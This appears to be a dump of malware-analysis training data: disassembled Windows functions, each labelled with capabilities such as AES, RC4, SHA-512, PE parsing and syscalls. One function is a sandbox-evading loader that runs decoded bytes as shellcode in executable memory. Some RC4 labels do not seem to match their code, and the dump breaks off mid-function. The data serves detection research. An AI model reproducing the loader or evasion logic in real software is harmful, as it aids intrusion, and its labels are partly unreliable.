joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d7c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword [rsp + 8]
mov rax, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x20]
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
add rbx, 0x10
pxor xmm4, xmm4
cmp ecx, 0xc
je 0x49d890
jb 0x49d8ef
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbx], xmm2
add rbx, 0x10
aeskeygenassist xmm1, xmm2, 1
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 1
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 2
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 2
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 4
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 4
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 8
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 8
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 0x10
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 0x10
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 0x20
call fcn.0049d6a0
aeskeygenassist xmm1, xmm0, 0x20
call fcn.0049d6c0
aeskeygenassist xmm1, xmm2, 0x40
call fcn.0049d6a0
jmp 0x49d95d
movq xmm2, qword [rax + 0x10]
aeskeygenassist xmm1, xmm2, 1
call fcn.0049d600
aeskeygenassist xmm1, xmm2, 2
call fcn.0049d660
aeskeygenassist xmm1, xmm2, 4
call fcn.0049d600
aeskeygenassist xmm1, xmm2, 8
call fcn.0049d660
aeskeygenassist xmm1, xmm2, 0x10
call fcn.0049d600
aeskeygenassist xmm1, xmm2, 0x20
call fcn.0049d660
aeskeygenassist xmm1, xmm2, 0x40
call fcn.0049d600
aeskeygenassist xmm1, xmm2, 0x80
call fcn.0049d660
jmp 0x49d95d
aeskeygenassist xmm1, xmm0, 1
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 2
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 4
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 8
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x10
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x20
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x40
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x80
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x1b
call fcn.0049d5c0
aeskeygenassist xmm1, xmm0, 0x36
call fcn.0049d5c0
sub rbx, 0x10
movups xmm1, xmmword [rbx]
movups xmmword [rdx], xmm1
dec rcx
movups xmm1, xmmword [rbx - 0x10]
aesimc xmm0, xmm1
movups xmmword [rdx + 0x10], xmm0
sub rbx, 0x10
add rdx, 0x10
dec rcx
jne 0x49d96a
movups xmm0, xmmword [rbx - 0x10]
movups xmmword [rdx + 0x10], xmm0
ret
Function at 0x49f020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49f126
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rsi
test r8, r8
je 0x49f0a2
cmp r8, rdi
ja 0x49f118
cmp rsi, rbx
je 0x49f085
nop
mov rdx, rbx
lea rdi, [rsi + r8]
lea rdi, [rdi - 1]
cmp rdi, rbx
jb 0x49f082
mov rdi, rsi
lea r9, [rdx + r8]
lea r9, [r9 - 1]
cmp r9, rsi
jae 0x49f105
mov rbx, rdx
mov rsi, rdi
jmp 0x49f085
mov rbx, rdx
movzx edx, byte [rax + 0x400]
movzx edi, byte [rax + 0x401]
lea r9, [r8 - 1]
cmp rcx, r9
jbe 0x49f0fd
xor ecx, ecx
nop
jmp 0x49f0e1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
movzx r9d, byte [rsi + rcx]
inc edx
movzx r10d, dl
mov r11d, dword [rax + r10*4]
add edi, r11d
movzx r12d, dil
mov r13d, dword [rax + r12*4]
mov dword [rax + r10*4], r13d
mov dword [rax + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rax + r10*4]
mov byte [rbx + rcx], r9b
inc rcx
cmp r8, rcx
jg 0x49f0ac
mov byte [rax + 0x400], dl
mov byte [rax + 0x401], dil
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, r9
call fcn.0045f8e0
lea rax, [0x004d0c20]
lea rbx, [0x00599610]
call fcn.00433b00
mov rcx, r8
mov rdx, rdi
nop
call fcn.0045f960
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
call fcn.0045d280
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
jmp fcn.0049f020
Function at 0x4a0480
Capabilities:
Hash data using sha512

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4a05e1
sub rsp, 0x30
mov qword [rsp + 0x28], rbp
lea rbp, [rsp + 0x28]
mov qword [rsp + 0x40], rbx
lea rdx, [rax - 1]
cmp rdx, 0x3f
ja 0x4a05c6
cmp rcx, 0x40
jg 0x4a05ac
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
lea rax, [0x004e22c0]
call fcn.0040ca80
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x50], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x160], rcx
lea rsi, [rax + 0xe0]
mov rbx, qword [rsp + 0x40]
cmp rbx, rsi
je 0x4a0512
mov qword [rsp + 0x18], rax
mov qword [rsp + 0x20], rsi
mov rax, rsi
call fcn.00460260
mov rax, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
nop
movups xmm0, xmmword [0x00616560]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x00616570]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x00616580]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x00616590]
movups xmmword [rax + 0x30], xmm0
mov rdx, qword [rax + 0x160]
shl rdx, 8
or rdx, qword [rax + 0x50]
or rdx, 0x1010000
xor qword [rax], rdx
mov qword [rax + 0xd8], 0
movups xmmword [rax + 0x40], xmm15
cmp qword [rax + 0x160], 0
jle 0x4a059e
lea rdi, [rax + 0x58]
nop word [rax + rax]
nop
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.0045fed0
mov rbp, qword [rbp]
mov qword [rax + 0xd8], pe_nt_image_headers64
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x28]
add rsp, 0x30
ret
mov rbx, qword [0x00631c70]
mov rcx, qword [0x00631c78]
xor eax, eax
mov rbp, qword [rsp + 0x28]
add rsp, 0x30
ret
mov rbx, qword [0x00631c60]
mov rcx, qword [0x00631c68]
xor eax, eax
mov rbp, qword [rsp + 0x28]
add rsp, 0x30
nop
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045d280
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004a0480

Function at 0x4a0640
Capabilities:
Hash data using sha512

Disassembly:
sub rsp, 8
mov qword [rsp], rbp
lea rbp, [rsp]
movups xmm0, xmmword [0x00616560]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x00616570]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x00616580]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x00616590]
movups xmmword [rax + 0x30], xmm0
mov rcx, qword [rax + 0x160]
shl rcx, 8
or rcx, qword [rax + 0x50]
or rcx, 0x1010000
xor qword [rax], rcx
mov qword [rax + 0xd8], 0
movups xmmword [rax + 0x40], xmm15
cmp qword [rax + 0x160], 0
jle 0x4a06de
lea rdi, [rax + 0x58]
lea rsi, [rax + 0xe0]
nop word [rax + rax]
nop
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.0045fed0
mov rbp, qword [rbp]
mov qword [rax + 0xd8], pe_nt_image_headers64
mov rbp, qword [rsp]
add rsp, 8
ret
Function at 0x4ab2e0
Capabilities:
Encode data using xor

Disassembly:
mov rdx, qword [rsp + 8]
mov rax, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rcx, qword [rsp + 0x20]
mov rbp, pe_nt_image_headers64
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rbx]
movdqu xmm2, xmmword [rcx]
pxor xmm0, xmm1
pxor xmm0, xmm2
movdqu xmmword [rdx], xmm0
add rax, 0x10
add rbx, 0x10
add rcx, 0x10
add rdx, 0x10
sub rbp, 2
ja 0x4ab2fb
ret

Function at 0x4ab340
Capabilities:
Encode data using xor

Disassembly:
mov rdx, qword [rsp + 8]
mov rax, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rcx, qword [rsp + 0x20]
mov rbp, pe_nt_image_headers64
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rbx]
movdqu xmm2, xmmword [rcx]
movdqu xmm3, xmmword [rdx]
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm3
movdqu xmmword [rdx], xmm0
add rax, 0x10
add rbx, 0x10
add rcx, 0x10
add rdx, 0x10
sub rbp, 2
ja 0x4ab35b
ret
Function at 0x4bedc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4befd7
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x58], rcx
mov rdx, qword [rax + 0x50]
test rdx, rdx
jle 0x4beeee
nop dword [rax + rax]
cmp rdx, 0x40
ja 0x4befc9
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea rsi, [rdx - 0x40]
mov r8, rsi
neg rsi
cmp rcx, rsi
cmovl rsi, rcx
mov qword [rsp + 0x28], rsi
sar r8, 0x3f
and r8, rdx
lea rdx, [rax + r8]
lea rdx, [rdx + 0x10]
cmp rbx, rdx
je 0x4bee62
mov rax, rdx
mov rcx, rsi
call fcn.00460260
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rax + 0x50]
add rdx, rsi
mov qword [rax + 0x50], rdx
cmp rdx, 0x40
jne 0x4beeca
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.004bf260
xorps xmm15, xmm15
mov r14, qword [0x00685450]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
cmp rcx, rsi
jb 0x4befc1
sub rdi, rsi
mov rdx, rcx
sub rcx, rsi
mov r8, rdi
neg rdi
sar rdi, 0x3f
and rsi, rdi
add rbx, rsi
jmp 0x4beef4
mov rdx, rcx
mov r8, rdi
cmp rcx, 0x40
jl 0x4bef71
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
and rcx, 0xffffffffffffffc0
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r8
call fcn.004bf260
xorps xmm15, xmm15
mov r14, qword [0x00685450]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov rcx, qword [rsp + 0x30]
and rax, rcx
and rax, 0xffffffffffffffc0
mov rbx, qword [rsp + 0x40]
add rbx, rax
sub rcx, rdx
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
test rcx, rcx
je 0x4befaf
cmp rcx, 0x40
mov esi, 0x40
cmovl rsi, rcx
lea rdi, [rax + 0x10]
cmp rbx, rdi
je 0x4befab
mov qword [rsp + 0x38], rsi
mov rax, rdi
mov rcx, rsi
call fcn.00460260
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rax + 0x50], rsi
mov rax, rdx
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
nop
ret
mov rax, rsi
call fcn.0045f9a0
mov rax, rdx
mov ecx, 0x40
call fcn.0045f9a0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045d280
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004bedc0
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0xe0
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xc0], 2
jb 0x14000115b
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
shr rax, 0x14
cmp eax, 0x800
jb 0x14000115b
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x5c]
imul rax, rcx
mov ecx, dword [rsp + 0x54]
imul rax, rcx
imul rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x14000115b
lea edx, [rbx + 4]
xor ecx, ecx
lea r9d, [rbx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, ebx
mov dword [rax], 0x8ff509
lea rcx, [rax + 2]
nop dword [rax + rax]
add byte [rcx - 2], 0xf3
add edx, 4
add byte [rcx - 1], 0xf3
add byte [rcx], 0xf3
add byte [rcx + 1], 0xf3
lea rcx, [rcx + 4]
cmp edx, 4
jb 0x140001110
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140001160
mov eax, 0xffffffff
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140001190
add rsp, 0xe0
pop rbx
ret
Function at 0x140005510
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140005544
cmp word [rcx], 0x5a4d
jne 0x140005544
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140005544
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005544
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140005450
test eax, eax
jne 0x140005560
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400054c0
test rax, rax
je 0x140005555
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140005d06
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140005c10
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005bb0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400067c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400067e3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400067e3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140006891
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140989a70]
mov r8, rcx
mov rcx, r9
call fcn.1400067c0
test eax, eax
je 0x1400068bd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400067e4
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400c4120
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c416a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c416a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c416a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c416a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c416a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c416c
xor al, al
add rsp, 0x28
ret
Function at 0x14001a220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax + 0x20]
xor eax, 3
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14001a34a
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x60]
dec eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x20], 0
jbe 0x14001a34a
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 9]
cmp eax, 6
jne 0x14001a2a3
mov rax, qword [rsp + 0x28]
add rax, 0x40
mov r8d, 0xffffffff
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call fcn.14001a220
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 8]
xor eax, 3
and eax, dword [rsp + 0x24]
test eax, eax
je 0x14001a2e7
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 8]
and eax, 0xf8
mov rcx, qword [rsp + 0x50]
movzx ecx, byte [rcx + 0x20]
and ecx, 3
or eax, ecx
mov rcx, qword [rsp + 0x28]
mov byte [rcx + 8], al
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x58], rax
jmp 0x14001a345
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x28]
cmp qword [rsp + 0x28], rax
jne 0x14001a318
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
mov qword [rax + 0x28], rcx
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 9]
sub eax, 4
mov eax, eax
lea rcx, fcn.14001b9e0
mov qword [rsp + 0x30], rcx
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x30]
call qword [r8 + rax*8]
jmp 0x14001a243
mov rax, qword [rsp + 0x58]
add rsp, 0x48
ret

Function at 0x14001a360
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + 0x20]
xor eax, 3
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
and rax, 0xfffffffffffffffe
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14001a420
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 8]
xor eax, 3
and eax, dword [rsp + 0x20]
test eax, eax
je 0x14001a3fc
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 8]
and eax, 0xf8
mov rcx, qword [rsp + 0x60]
movzx ecx, byte [rcx + 0x20]
and ecx, 3
or eax, ecx
mov rcx, qword [rsp + 0x28]
mov byte [rcx + 8], al
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
jmp 0x14001a41e
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call fcn.14001b9e0
jmp 0x14001a3a3
mov rax, qword [rsp + 0x38]
and rax, 1
mov rcx, qword [rsp + 0x40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rax
add rsp, 0x58
ret
Function at 0x14001bc30
Capabilities:
Encode data using xor

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
shr rax, 0x20
mov ecx, dword [rsp + 0x58]
xor ecx, eax
mov eax, ecx
shl eax, 4
mov rcx, qword [rsp + 0x50]
shr rcx, 0x20
mov edx, dword [rsp + 0x58]
xor edx, ecx
mov ecx, edx
shr ecx, 0x1c
or eax, ecx
mov ecx, eax
call fcn.1400cb888
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x68], 0xc
jbe 0x14001be21
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
lea rax, [rcx + rax - 0xc]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 4]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 8]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x30]
add rax, 0xc
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x58]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xe
mov ecx, dword [rsp + 0x20]
shr ecx, 0x12
or eax, ecx
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x58]
shl eax, 0xb
mov ecx, dword [rsp + 0x58]
shr ecx, 0x15
or eax, ecx
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
shl eax, 0x19
mov ecx, dword [rsp + 0x24]
shr ecx, 7
or eax, ecx
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x14001bcb6
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x58]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x20]
shl eax, 0x10
mov ecx, dword [rsp + 0x20]
shr ecx, 0x10
or eax, ecx
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x58]
shl eax, 4
mov ecx, dword [rsp + 0x58]
shr ecx, 0x1c
or eax, ecx
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
shl eax, 0xe
mov ecx, dword [rsp + 0x24]
shr ecx, 0x12
or eax, ecx
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x14001ebc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
cmp qword [rax + 0x10], rcx
jb 0x14001ebf9
mov rcx, qword [rsp + 0x60]
call fcn.1400187f0
mov rax, qword [rsp + 0x70]
mov r8, qword [rax + 0x10]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.14001efd0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x70]
add rax, 0x28
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax + 0x3c]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x24], 0
jmp 0x14001ec53
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x24], eax
jae 0x14001ed08
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x28]
movzx eax, word [rcx + rax*2]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 0x8000
test eax, eax
je 0x14001ecde
mov eax, dword [rsp + 0x20]
and eax, 0xff
mov eax, eax
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call fcn.14001edf0
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x20]
mov ecx, 0x4000
div ecx
and eax, 1
mov rcx, qword [rsp + 0x30]
mov byte [rcx + 0xb], al
mov eax, dword [rsp + 0x20]
shl eax, 0x18
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 0x28], eax
jmp 0x14001ecf0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x38]
mov qword [rdx + rcx*8 + 0x28], rax
jmp 0x14001ec49
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x28]
